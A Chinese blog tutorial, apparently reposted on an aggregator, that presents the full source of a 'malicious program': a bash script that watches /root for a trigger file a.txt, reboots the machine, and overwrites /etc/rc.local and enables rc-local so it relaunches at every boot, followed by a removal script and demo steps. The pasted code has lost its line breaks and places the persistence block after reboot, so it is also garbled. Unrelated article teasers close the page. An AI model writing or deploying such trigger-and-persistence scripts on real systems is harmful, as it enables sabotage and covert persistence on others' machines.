[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 linux 实现需求
    • 2.1 恶意程序 linux.sh 源码
      • 2.1.1 恶意程序 linux.sh 源码
      • 2.1.2 恶意程序 linux.sh 源码讲解
    • 2.2 清除程序 linux-kill.sh 源码
      • 2.2.1 清除程序 linux-kill.sh 源码
      • 2.2.2 清除程序 linux-kill.sh 源码讲解
    • 2.3 演示
      • 2.3.1 恶意程序linux.sh
      • 2.3.2 清除程序linux-kill.sh
      • 2.3.3 恶意文件a.txt
      • 2.3.4 操作步骤
        • 2.3.4.1 后台运行恶意程序
        • 2.3.4.2 特定文件移动到特定目录
        • 2.3.4.3 恶意程序监测到特定文件
        • 2.3.4.4 恶意程序监测到特定文件后重启操作执行成功
        • 2.3.4.5 清除程序 linux-kill.sh 清除恶意程序
        • 2.3.4.6 操作系统再次重启
        • 2.3.4.7 查看 rc.local
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 linux 实现需求

恶意程序 linux.sh 监测特定目录 /root 出现特定文件 a.txt 执行恶意操作 reboot

2.1 恶意程序 linux.sh 源码

2.1.1 恶意程序 linux.sh 源码

#!/bin/bash# 监控的目录
monitored_directory="/root"a=truewhile $a; do# 遍历目录中的文件for file in "$monitored_directory"/*; do# 检查文件是否为a.txtif [ "$(basename "$file")" = "a.txt" ]; thenecho "a.txt 文件已出现在目录中!"sleep 60secho "您的主机将在一分钟后重启!"            reboot a=falsecat > /etc/rc.local << '__EOF__'
#!/bin/bash
sh /root/linux.sh &
exit 0
__EOF__echo "illegal 命令注入成功!"            chmod +x /etc/rc.localsystemctl daemon-reloadsystemctl enable rc-localfidone# 可以添加一些延时,避免过于频繁的遍历sleep 1
done

2.1.2 恶意程序 linux.sh 源码讲解

这个脚本的主要功能是监控指定目录(/root)中的文件变化,当检测到名为 a.txt 的文件出现时,执行一系列操作。以下是对脚本的详细解释:
1.定义监控目录:monitored_directory="/root":设置要监控的目录为 /root。
2.初始化变量:a=true:初始化一个布尔变量 a 为 true,用于控制 while 循环。
3.进入无限循环:while $a; do:使用 while 循环不断检查目录中的文件。
4.遍历目录中的文件:for file in "$monitored_directory"/*; do:使用 for 循环遍历 /root 目录中的所有文件。
5.检查文件是否为 a.txt:if [ "$(basename "$file")" = "a.txt" ]; then:使用 if 语句检查当前文件名是否为 a.txt。
6.如果找到 a.txt 文件:
输出提示信息:echo "a.txt 文件已出现在目录中!"
等待 60 秒:sleep 60s
输出重启提示信息:echo "您的主机将在一分钟后重启!"
重启系统:reboot
修改变量 a 为 false,退出循环:a=false
创建或覆盖 /etc/rc.local 文件,并写入启动命令:
在这里插入图片描述
echo "illegal 命令注入成功!":修改 /etc/rc.local 文件权限为可执行: bash
chmod +x /etc/rc.local: 重新加载 systemd 守护进程配置: bash
systemctl daemon-reload:启用 rc-local 服务: bash
systemctl enable rc-local
7.添加延时避免频繁遍历:sleep 1:在每次循环结束后等待 1 秒,避免过于频繁地遍历目录。

2.2 清除程序 linux-kill.sh 源码

2.2.1 清除程序 linux-kill.sh 源码

#!/bin/bashsudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令file_path="/root/linux.sh"if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi

2.2.2 清除程序 linux-kill.sh 源码讲解

#!/bin/bash

这行是Shebang(#!),它告诉操作系统使用哪个解释器来运行这个脚本。在这里,/bin/bash表示使用Bash解释器。

sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令

这两行代码的作用是修改/etc/rc.local文件,删除其中包含特定字符串的命令。具体来说:
sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local:使用sed命令编辑/etc/rc.local文件,删除所有匹配sh /root/linux.sh &的行。-i选项表示直接在文件中进行修改。
echo 成功删除/etc/rc.local中illegal命令:输出一条消息,表示已经成功删除了非法命令。
file_path="/root/linux.sh":定义一个变量file_path,其值为/root/linux.sh,即要检查和删除的文件路径。

if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi

这段代码是一个条件判断语句,用于检查文件是否存在并执行相应的操作:
if [ -f "$file_path" ]; then:检查$file_path指定的文件是否存在且是一个普通文件。
rm "$file_path":如果文件存在,则删除该文件。
echo "成功删除文件 $file_path":输出一条消息,表示文件已成功删除。
else:如果文件不存在,则执行以下代码块。
echo "文件 $file_path 不存在":输出一条消息,表示文件不存在。

2.3 演示

2.3.1 恶意程序linux.sh

在这里插入图片描述

2.3.2 清除程序linux-kill.sh

目前恶意程序 linux.sh 放在 root 目录下,这个恶意程序是你放在哪个目录都行
在这里插入图片描述

2.3.3 恶意文件a.txt

目前恶意程序 linux-kill.sh 放在 root 目录下,这个清除程序是你放在哪个目录都行

在这里插入图片描述

2.3.4 操作步骤

2.3.4.1 后台运行恶意程序

& 表示后台运行,运行之后会一直监测特定的目录/root

sh /root/linux.sh &

在这里插入图片描述

2.3.4.2 特定文件移动到特定目录

模拟特定目录出现特定文件,将我提前准备好的 a.txt 复制到特定目录 /root

cp /root/Desktop/a.txt /root/a.txt

在这里插入图片描述

2.3.4.3 恶意程序监测到特定文件

我们之前在后台执行得恶意程序监测到文件,回显 a.txt文件已出现在目录中!

在这里插入图片描述

2.3.4.4 恶意程序监测到特定文件后重启操作执行成功

等了一分钟之后,系统成功重启,说明恶意程序监测到特定文件后重启操作执行成功

在这里插入图片描述

2.3.4.5 清除程序 linux-kill.sh 清除恶意程序

回显内容如下:
成功删除/etc/rc.local中非法命令
成功删除文件/root/linux.sh

./linux-kill.sh

在这里插入图片描述

2.3.4.6 操作系统再次重启

因为写入了自启动文件只要启动他就会去执行那个程序,然后他程序里面的恶意操作,就是一分钟后关机。
然后我们清除的一个动作是在他执行程序执行那个恶意程序之后,我们才执行的清除操作,所以说他还会再有一次重启的操作。

在这里插入图片描述

2.3.4.7 查看 rc.local

再次查看rc.local,发现rc.local里面的恶意命令已经被删除
注意:如果查看的时候发现还是存在,可以再次执行 linux-kill.sh 文件进行删除
如果在第一次执行 linux-kill.sh 的时候比操作系统启动项执行得更快就需要再次执行 linux-kill.sh 删除

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/58009.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

讲讲RabbitMQ 性能优化

大家好&#xff0c;我是锋哥。今天分享关于【RabbitMQ 性能优化&#xff1f;】面试题。希望对大家有帮助&#xff1b; 讲讲RabbitMQ 性能优化 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 RabbitMQ 是一个强大的消息代理&#xff0c;广泛用于分布式系统中&#x…

2-139 基于matlab的弹道轨迹仿真

基于matlab的弹道轨迹仿真。设计GUI图形用户界面&#xff0c;对导弹参数根据需求进行设置&#xff0c;直观的实现更改攻角、各级火箭喷射时间等参数后得到对应参数下的导弹弹道图像以及导弹的飞行时间和飞行距离。得到飞行时间集导弹射程。程序已调通&#xff0c;可直接运行。 …

【spark的集群模式搭建】Standalone集群模式的搭建(简单明了的安装教程)

文章目录 1、使用Anaconda部署Python2、上传、解压、重命名3、创建软连接4、配置spark环境变量5、修改 spark-env.sh配置文件6、启动hdfs&#xff0c;创建文件夹7、修改spark-defaults.conf配置文件8、修改workers配置文件9、修改log4j.properties配置文件&#xff08;可选&…

HTML 基础标签——多媒体标签<img>、<object> 与 <embed>

文章目录 1. `<img>` 标签主要属性示例注意事项2. `<object>` 标签概述主要属性示例注意事项3. `<embed>` 标签概述主要属性示例注意事项小结在现代网页设计中,多媒体内容的使用变得越来越重要,因为它能够有效增强用户体验、吸引注意力并传达信息。HTML 提…

校门外的树(算法:标记法)

思路实现&#xff1a; 1.利用二维数组来存储输入数据 2.开辟一个包含所有范围的数组用来做标记初始为0 3.遍历二维数组&#xff0c;取到每段区间的开始位置和结束位置&#xff0c;在标记数字组中将边界点及边界点内置1 4.遍历标记数组记录0的个数&#xff0c;即可 代码实现…

100M宽带测速只有20M

100M宽带测速只有20M的原因主要有以下几点‌&#xff1a; ‌网络设备不匹配‌&#xff1a;100兆宽带的实际使用需要全千兆路由器、超五类网线以及千兆网卡的支持。如果使用老旧的路由器、五类网线或百兆网卡&#xff0c;可能会导致网速受限。例如&#xff0c;使用普通网线可能…

二、基础语法

入门了解 注释 **作用&#xff1a;**在代码中加一些注释和说明&#xff0c;方便自己或者其他程序员阅读代码 两种格式&#xff1a; 单行注释&#xff1a;// 描述信息 通常放在一行代码的上方&#xff0c;或者一条语句的末尾&#xff0c;对该行代码进行说明 多行注释&#x…

minikube 的 Kubernetes 入门教程--(五)

本文记录 Minikube 在 Kubernetes 上安装 WordPress 和 MySQL。 这两个应用都使用 PersistentVolumes 和 PersistentVolumeClaims 保存数据。 在深入这些步骤之前&#xff0c;先分享来自kubernetes.io教程。 链接>>使用持久卷部署 WordPress 和 MySQL | Kubernetes 获…

向量数据库|第2期|pgvectorscale

向量数据库|第2期|pgvectorscale 大家都听说过pgvector&#xff0c;一个PostgreSQL存储和查询向量的扩展&#xff0c;是PG AI生态当之无愧的最受推崇的工具之一。pgvector向PG中添加了vector类型&#xff0c;以及各种搜索操作符和索引&#xff0c;使其拥有vectors和metadata的完…

【sqlmap使用】

sqlmap简介 sqlmap 目录结构 sqlmap常用参数 sqlmap实现注入 测试注入点&#xff0c;检测到注入点后&#xff0c;直接爆数据库名 python sqlmap.py –u http://172.16.12.2/7/9/strsql.php --data "usernameadmin" --dbs注意sqlmap在使用过程中可能会出现几个需要…

通过源码分析类加载器里面可以加载的类

类列表 每一个ClassLoader里面的类列表&#xff0c;类的数量都是固定的。 对上一节中的dex反编译 使用DexClassLoader类动态加载插件dex   利用jadx对dex进行反编译可以看到有哪些类 源码分析 BaseDexClassLoader 从BaseDexClassLoader类加载器开始分析 在BaseDexClassLoade…

宝塔使用clickhouse踩坑

前言 最近有个物联网项目&#xff0c;需要存储物联网终端发送过来的信息&#xff08;类似log日志&#xff0c;但又要存储在数据库里&#xff0c;方便后期聚合统计&#xff09;&#xff0c;本来想写文件的奈何客户要求聚合统计&#xff0c;所以只能用数据库才能达到更高的计算效…

parted 磁盘分区

目录 磁盘格式磁盘分区文件系统挂载使用扩展 - parted、fdisk、gdisk 区别 磁盘格式 parted /dev/vdcmklabel gpt # 设置磁盘格式为GPT p # 打印磁盘信息此时磁盘格式设置完成&#xff01; 磁盘分区 开始分区&#xff1a; mkpart data_mysql # 分区名&…

NFTScan Site:以蓝标认证与高级项目管理功能赋能 NFT 项目

自 NFTScan Site 上线以来&#xff0c;它迅速成为 NFT 市场中的一支重要力量&#xff0c;凭借对各类 NFT 集合、市场以及 NFTfi 项目的认证获得了广泛认可。这个平台帮助许多项目提升了曝光度和可见性&#xff0c;为它们在竞争激烈的 NFT 市场中创造了更大的成功机会。 在最新更…

leetcode-5-最长回文子串

题解&#xff1a; 回文串&#xff1a;如果一个字符串正着读和反着读都是一样的那这个字符串就是回文串。 对于一个子串而言&#xff0c;如果它是回文串&#xff0c;并且长度大于 2&#xff0c;那么将它首尾的两个字母去除之后&#xff0c;它仍然是个回文串。 1、初始化字典d…

mysql5安装

1.下载安装包 https://downloads.mysql.com/archives/community/ mysql-5.7.44-1.el7.x86_64.rpm-bundle.tar tar -xvf mysql-5.7.44-1.el7.x86_64.rpm-bundle.tar2.安装依赖 yum -y install perl yum -y install net-tools yum install numactl libaio libaio-devel -y也可…

【工具变量】“宽带中国”试点城市名单匹配数据集(2000-2023年)

参照秦文晋&#xff08;2022&#xff09;的《网络基础设施建设对数字经济发展的影响研究——基于"宽带中国"试点政策的准自然实验》一文中的做法&#xff0c;将选为“宽带中国”试点城市的虚拟变量作为核心解释变量&#xff0c;当一个城市被批复成为“宽带中国”试点…

php内置服务停止shell小工具,用来停止指定的端口的php内置服务进程

最近vscode总是喜欢闪退&#xff0c;这导致了上面启动的php内置服务变成了无法管理状态&#xff0c;所以就有了这个工具来停止相关的PHP内置服务进程. 将下面的代码保存到本地合适的位置&#xff0c;并命名为 stop.sh #!/bin/bash # Author: tekintian # Date: 2024-11-02 …

Servlet 3.0 注解开发

文章目录 Servlet3.0注解开发修改idea创建注解的servlet模板内容讲解 关于servlet3.0注解开发的疑问_配置路径省略了属性urlPatterns内容讲解内容小结 Servlet3.0注解开发 【1】问题 说明&#xff1a;之前我们都是使用web.xml进行servlet映射路径的配置。这样配置的弊端&…

力扣每日一题——数组能够形成多少对

目录 题目链接&#xff1a;2341. 数组能形成多少数对 - 力扣&#xff08;LeetCode&#xff09; 题目描述 解法一&#xff1a;List集合 Java写法&#xff1a; 运行时间 C写法&#xff1a; 解法二&#xff1a;Set集合 Java写法&#xff1a; 运行时间 C写法 上述两种方法…